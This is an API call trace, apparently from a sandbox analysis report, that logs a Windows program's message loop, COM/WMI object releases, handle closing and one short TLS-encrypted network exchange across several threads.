	[0086.533] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0086.533] WaitMessage () returned 1
	[0087.063] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0087.063] IsWindowUnicode (hWnd=0x10210) returned 1
	[0087.063] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0087.063] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0087.063] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0087.063] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0087.063] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0087.063] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0087.063] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0087.063] WaitMessage () returned 1
	[0087.593] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0087.593] IsWindowUnicode (hWnd=0x10210) returned 1
	[0087.594] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0087.594] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0087.594] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0087.594] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0087.594] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0087.594] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0087.594] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0087.594] WaitMessage () returned 1
	[0088.125] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0088.125] IsWindowUnicode (hWnd=0x10210) returned 1
	[0088.125] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0088.126] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0088.126] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0088.126] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0088.126] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0088.127] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0088.127] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0088.127] WaitMessage () returned 1
	[0088.779] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0088.779] IsWindowUnicode (hWnd=0x10210) returned 1
	[0088.779] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0088.779] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0088.779] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0088.779] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0088.779] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0088.779] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0088.779] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0088.779] WaitMessage () returned 1
	[0089.434] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.434] IsWindowUnicode (hWnd=0x10210) returned 1
	[0089.434] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.434] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0089.434] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0089.434] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0089.434] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0089.434] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.434] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.434] WaitMessage () returned 1
	[0089.703] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.703] IsWindowUnicode (hWnd=0x20206) returned 1
	[0089.703] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.703] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0089.703] DispatchMessageW (lpMsg=0x3ff228) returned 0x1
	[0089.703] CoGetContextToken (in: pToken=0x3fe8b0 | out: pToken=0x3fe8b0) returned 0x0
	[0089.703] CoGetContextToken (in: pToken=0x3fe898 | out: pToken=0x3fe898) returned 0x0
	[0089.703] CoGetContextToken (in: pToken=0x3fe820 | out: pToken=0x3fe820) returned 0x0
	[0089.703] IUnknown:Release (This=0x71a82c) returned 0x1
	[0089.703] IUnknown:Release (This=0x69bc92c) returned 0x0
	[0089.703] CoGetContextToken (in: pToken=0x3fe820 | out: pToken=0x3fe820) returned 0x0
	[0089.703] IUnknown:Release (This=0x72c96c) returned 0x1
	[0089.703] IUnknown:Release (This=0x69bd45c) returned 0x0
	[0089.707] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.707] IsWindowUnicode (hWnd=0x20206) returned 1
	[0089.707] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.707] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0089.707] DispatchMessageW (lpMsg=0x3ff228) returned 0x1
	[0089.707] CoGetContextToken (in: pToken=0x3fe8b0 | out: pToken=0x3fe8b0) returned 0x0
	[0089.707] CoGetContextToken (in: pToken=0x3fe870 | out: pToken=0x3fe870) returned 0x0
	[0089.707] IUnknown:Release (This=0x72cb4c) returned 0x1
	[0089.707] IUnknown:Release (This=0x69bd5fc) returned 0x0
	[0089.741] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.741] IsWindowUnicode (hWnd=0x20206) returned 1
	[0089.741] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.741] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0089.741] DispatchMessageW (lpMsg=0x3ff228) returned 0x1
	[0089.741] CoGetContextToken (in: pToken=0x3fe8b0 | out: pToken=0x3fe8b0) returned 0x0
	[0089.741] CoGetContextToken (in: pToken=0x3fe870 | out: pToken=0x3fe870) returned 0x0
	[0089.741] IUnknown:Release (This=0x72c78c) returned 0x1
	[0089.741] IUnknown:Release (This=0x69bd2e4) returned 0x0
	[0089.774] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.774] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.774] WaitMessage () returned 1
	[0089.964] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.964] IsWindowUnicode (hWnd=0x10210) returned 1
	[0089.964] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0089.964] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0089.964] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0089.964] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0089.964] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0089.965] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.965] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0089.965] WaitMessage () returned 1
	[0090.499] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0090.499] IsWindowUnicode (hWnd=0x10210) returned 1
	[0090.499] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0090.499] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0090.499] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0090.499] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0090.499] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0090.499] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0090.505] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0090.505] WaitMessage () returned 1
	[0091.025] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0091.025] IsWindowUnicode (hWnd=0x10210) returned 1
	[0091.025] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0091.025] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0091.025] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0091.025] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0091.025] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0091.026] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0091.026] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0091.026] WaitMessage () returned 1
	[0091.555] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0091.555] IsWindowUnicode (hWnd=0x10210) returned 1
	[0091.555] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0091.555] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0091.555] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0091.556] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0091.556] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0091.556] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0091.556] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0091.556] WaitMessage () returned 1
	[0092.086] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0092.086] IsWindowUnicode (hWnd=0x10210) returned 1
	[0092.086] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0092.086] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0092.086] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0092.086] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0092.086] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0092.086] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0092.086] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0092.086] WaitMessage () returned 1
	[0092.618] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0092.618] IsWindowUnicode (hWnd=0x10210) returned 1
	[0092.618] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0092.618] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0092.618] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0092.618] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0092.618] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0092.618] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0092.618] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0092.618] WaitMessage () returned 1
	[0093.147] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0093.147] IsWindowUnicode (hWnd=0x10210) returned 1
	[0093.147] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0093.147] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0093.147] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0093.147] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0093.147] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0093.147] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0093.147] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0093.147] WaitMessage () 

Thread:
	id = 74
	os_tid = 0x96c


Thread:
	id = 75
	os_tid = 0x974

	[0077.672] CoGetContextToken (in: pToken=0x460f5bc | out: pToken=0x460f5bc) returned 0x800401f0
	[0077.672] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0079.894] CloseHandle (hObject=0x23c) returned 1
	[0079.895] CloseHandle (hObject=0x238) returned 1
	[0079.895] CloseHandle (hObject=0x2c8) returned 1
	[0079.895] CloseHandle (hObject=0x234) returned 1
	[0079.895] CloseHandle (hObject=0x230) returned 1
	[0079.895] CloseHandle (hObject=0x2cc) returned 1
	[0079.895] CloseHandle (hObject=0x22c) returned 1
	[0079.895] CloseHandle (hObject=0x28c) returned 1
	[0079.896] CloseHandle (hObject=0x288) returned 1
	[0079.896] CloseHandle (hObject=0x248) returned 1
	[0079.896] CloseHandle (hObject=0x244) returned 1
	[0079.896] CloseHandle (hObject=0x200) returned 1
	[0079.896] CloseHandle (hObject=0x1fc) returned 1
	[0079.896] CloseHandle (hObject=0x240) returned 1
	[0089.702] CoGetContextToken (in: pToken=0x460f5b0 | out: pToken=0x460f5b0) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.702] WbemLocator:IUnknown:Release (This=0x69b0810) returned 0x1
	[0089.702] WbemLocator:IUnknown:Release (This=0x69b0810) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.702] WbemLocator:IUnknown:Release (This=0x69b0aa8) returned 0x1
	[0089.702] WbemLocator:IUnknown:Release (This=0x69b0aa8) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.702] WbemLocator:IUnknown:Release (This=0x69bd8a8) returned 0x1
	[0089.702] WbemLocator:IUnknown:Release (This=0x69bd8a8) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f5b0 | out: pToken=0x460f5b0) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.702] WbemDefPath:IUnknown:Release (This=0x69bd480) returned 0x1
	[0089.702] WbemDefPath:IUnknown:Release (This=0x69bd480) returned 0x0
	[0089.702] CoGetContextToken (in: pToken=0x460f5b0 | out: pToken=0x460f5b0) returned 0x0
	[0089.702] IUnknown:QueryInterface (in: This=0x699fe8, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x460f558 | out: ppvObject=0x460f558*=0x699ff8) returned 0x0
	[0089.703] CObjectContext::ContextCallback () returned 0x0
	[0089.703] IUnknown:Release (This=0x699ff8) returned 0x1
	[0089.706] IUnknown:Release (This=0x69c3d20) returned 0x0
	[0089.706] IUnknown:Release (This=0x69bdb80) returned 0x0
	[0089.707] CoGetContextToken (in: pToken=0x460f3d0 | out: pToken=0x460f3d0) returned 0x0
	[0089.707] IUnknown:QueryInterface (in: This=0x699fe8, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x460f378 | out: ppvObject=0x460f378*=0x699ff8) returned 0x0
	[0089.707] CObjectContext::ContextCallback () returned 0x0
	[0089.732] IUnknown:Release (This=0x699ff8) returned 0x1
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69b0820) returned 0x1
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69b0820) returned 0x0
	[0089.835] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69bc940) returned 0x1
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69bc940) returned 0x0
	[0089.835] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69bd910) returned 0x1
	[0089.835] WbemDefPath:IUnknown:Release (This=0x69bd910) returned 0x0
	[0089.835] CoGetContextToken (in: pToken=0x460f5b0 | out: pToken=0x460f5b0) returned 0x0
	[0089.835] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.835] IUnknown:Release (This=0x71a73c) returned 0x1
	[0089.835] IUnknown:Release (This=0x69bd244) returned 0x0
	[0089.843] CoReleaseMarshalData (pStm=0x718368) returned 0x0
	[0089.854] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.854] IUnknown:Release (This=0x72ca5c) returned 0x1
	[0089.854] IUnknown:Release (This=0x69bd55c) returned 0x0
	[0089.854] CoReleaseMarshalData (pStm=0x717ee8) returned 0x0
	[0089.854] CoGetContextToken (in: pToken=0x460f538 | out: pToken=0x460f538) returned 0x0
	[0089.854] IUnknown:Release (This=0x72cf0c) returned 0x1
	[0089.854] IUnknown:Release (This=0x69bd9dc) returned 0x0
	[0089.854] CoReleaseMarshalData (pStm=0x7183c8) returned 0x0
	[0089.855] IUnknown:Release (This=0x69a158) returned 0x0

Thread:
	id = 76
	os_tid = 0x978


Thread:
	id = 77
	os_tid = 0x958

	[0078.785] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0

Thread:
	id = 78
	os_tid = 0xa88


Thread:
	id = 79
	os_tid = 0xa90


Thread:
	id = 80
	os_tid = 0xaa0


Thread:
	id = 81
	os_tid = 0x92c


Thread:
	id = 82
	os_tid = 0x930

	[0081.081] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0081.096] ResetEvent (hEvent=0x348) returned 1
	[0161.881] ReleaseSemaphore (in: hSemaphore=0x52c, lReleaseCount=1, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1
	[0161.881] ReleaseSemaphore (in: hSemaphore=0x52c, lReleaseCount=1, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1
	[0161.881] SetEvent (hEvent=0x348) returned 1
	[0186.716] shutdown (s=0x468, how=2) returned 0
	[0186.716] setsockopt (s=0x468, level=65535, optname=128, optval="\x01", optlen=4) returned 0
	[0186.716] closesocket (s=0x468) returned 0
	[0212.831] EncryptMessage (in: phContext=0x24bbaa8, fQOP=0x0, pMessage=0x24eae44, MessageSeqNo=0x0 | out: pMessage=0x24eae44) returned 0x0
	[0212.831] send (in: s=0x368, buf=0x24c7b80*, len=37, flags=0 | out: buf=0x24c7b80*) returned 37
	[0212.832] recv (in: s=0x368, buf=0x24d54b8, len=5, flags=0 | out: buf=0x24d54b8*) returned 5
	[0212.872] recv (in: s=0x368, buf=0x24d54bd, len=96, flags=0 | out: buf=0x24d54bd*) returned 96
	[0212.872] DecryptMessage (in: phContext=0x24bbaa8, pMessage=0x24eafb4, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x24eafb4, pfQOP=0x0) returned 0x0
	[0212.872] QueryContextAttributesW (in: phContext=0x24bbaa8, ulAttribute=0x1a, pBuffer=0x5f9f3d4 | out: pBuffer=0x5f9f3d4) returned 0x0
	[0212.890] DeleteSecurityContext (phContext=0x24bbaa8) returned 0x0
	[0212.890] shutdown (s=0x368, how=2) returned 0
	[0212.891] closesocket (s=0x368) returned 0
	[0212.891] SetEvent (hEvent=0x348) returned 1
	[0263.312] SetEvent (hEvent=0x348) returned 1

Thread:
	id = 83
	os_tid = 0x71c


Thread:
	id = 84
	os_tid = 0x570

	[0081.644] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0081.653] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x67df224 | out: lpiid=0x67df224) returned 0x0
	[0081.654] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69b0810) returned 0x0
	[0081.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0081.871] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69b0810, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69b0820) returned 0x0
	[0081.872] WbemDefPath:IUnknown:Release (This=0x69b0810) returned 0x0
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69b0820) returned 0x0
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
